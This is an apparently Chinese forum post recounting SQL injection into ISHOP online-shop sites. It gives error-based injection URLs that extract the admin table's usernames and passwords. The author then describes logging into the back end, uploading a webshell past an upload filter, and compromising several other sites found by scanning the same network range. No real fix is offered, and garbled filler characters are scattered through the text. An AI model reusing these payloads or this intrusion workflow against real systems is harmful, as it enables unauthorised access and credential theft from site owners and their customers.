ISHOP商场建站系统注入漏洞

admin

发现一个注入点
" {% }5 F; |/ t. Qhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
# X+ W" t4 H7 D* j: e
7 R! p+ n" N2 P! u- [习惯性的加’having1=1--

http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

! Y6 Y6 s. B% w0
  X7 ~2 i' A/ z% q6 A( G4 n$ q
爆出Diary_A.dl_Title（这时候很激动啊）
3 f  E+ E. e, [, L* i
4 ^. L/ ~; n2 A# L1 [那么继续
0 A0 O& F. s- w! g" p1 r% mhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去

爆到几个字段和表段 但是没找到需要的管理用户的字段

蛋疼了 怎么办 然后去后台登陆页看源码
/ ?. [8 \/ F/ L* S8 @% J
. ]; s- m' J: [  v& o: ^4 z* Z- s0

/ `5 k" S; z" |) b: GInput name= “ADUID”
Input name= “ADPWD”
3 a2 z( n' I! [1 z3 P( y
& |1 i+ b' k8 j! ^- I) _很幸运 找到了字段那就继续
" ?. z7 e2 ~  g$ a: W4 D5 [找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
! W. z* P0 H& s( ]* r' q( @爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
0 x7 n8 a8 h6 v' `6 R6 h5 U测试了下 这个注入点只能爆到文章哪里的表

头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

* O8 z0 g0 C+ Y2 h  [# ?又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

473
; h: z8 ^, v5 E7 {
进后台


发现几个上传点 有的地方不能上传 而且防止恶意代码

没办法 各种百度各种找大牛 找到一只好像可以突破的马

* V3 |% n5 U, F; |
& ^: t+ s! m7 K$ R) V/ y1 R在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK



# U0 h$ S) b1 b5 @472
# }& O8 ]9 y9 a* R0 C
晚上不行了 去睡觉。。。
第二天刚起床 闲的没事做继续日站吧
& P% K' H7 _( S' X, s  p
找个站 就把这个站的旁c扫了下

发现c段也有一个购物站 ，然后还和这个站的模板差不多

就找到会员登录口测试

6 d7 x/ l+ d) {; D'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀

再次翻c段

翻出几个站 都成功拿下
" |  V. o2 u3 m$ W3 l  B) \% R; ?
' `# {% `8 [0 \

* q0 _3 D/ I& z9 c+ J8 g  o修复方案：
; y8 n6 w8 L, D. m1 p- B他们比我专业
5 e: i% Z- A( \# |0 O​

$ i: o* s6 D' o8 l/ w0 k
( y3 G3 m( i! i  Y